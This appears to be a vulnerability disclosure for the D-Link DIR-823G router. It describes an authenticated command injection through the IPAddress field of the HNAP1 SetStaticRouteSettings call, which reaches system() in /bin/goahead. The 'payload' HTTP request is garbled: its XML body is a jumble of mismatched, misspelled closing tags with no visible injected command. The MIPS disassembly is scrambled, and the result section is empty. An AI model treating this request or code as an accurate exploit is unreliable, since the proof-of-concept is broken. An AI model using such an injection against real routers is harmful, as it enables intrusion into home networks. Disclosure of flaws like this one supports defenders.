# **DIR-823G**

### Version

DIR823GA1\_FW102B05

#### Firmware download link

http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-823G





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# decription

An issue was discovered on D-Link DIR-823G devices with firmware V1.0.2B05. There is a command injection in HNAP1 (exploitable with Authentication) via shell metacharacters in the IPAddress field to SetStaticRouteSettings.

# others

found by wx@teamseri0us360.

please send email to teamseri0us360@gmail.com if you have any question.

### Command injection in HNAP1 SetStaticRouteSettings

bypass the check of the "IPAddress" by modifying in HTTP Message



### payload

```
Raw Params Headers Hex XML

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept: */*
Accept: Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/SetStaticRouteSettings"
HNAP_AUTH: A9A078089149990B42BDF781089AF9F7 1561969449
X-Requested-With: XMLHttpRequest
Content-Length: 579
Connection: close
Referer: http://192.168.0.1/Staticroute.html
Cookie: uid=9LvNeD0E2v; PrivateKey=2F2ACD6615A1049235240793F85DBSF1; timeout=53

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetStaticRouteSettings
xmlns="http://purenetworks.com/HNAP1/"><StaticRouteClientInfoLists></ClientInfo></Robatics></ClientInfo></Robatics></ClientInfo></ClientInfo></ClientInfoLists></ClientInfoLists></ClientInfoLists></ClientInfoLists></ClientInfoLists></ClientInfoLists></ClientInfoLists></ClientInfo></ClientInfoLists></ClientInfoLists></ClientInfo></ClientInfo></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></clientInfoLists></cdientInfoLists></cd>
```

#### Vulnerability description

This occurs in /bin/goahead when a HNAP API function trigger a call to the system function with untrusted input from the request body. A attacker can execute any command remotely when they control this input.

The detail is as below:

```
$v0, aEchoSVarHnaplo # "echo '%s' >/var/hnaplog"
la
addiu
        $v1, $fp, 0x1448+var_1390
move
        $a0, $v1
li
        $a1, 0x1387
        $a2, $v0
move
        $a3, 0x1448+arg_18($fp)
1w
jal
        snprintf
nop
addiu
        $v0, $fp, 0x1448+var_1390
move
        $a0, $v0
jal
        system
nop
```

### result

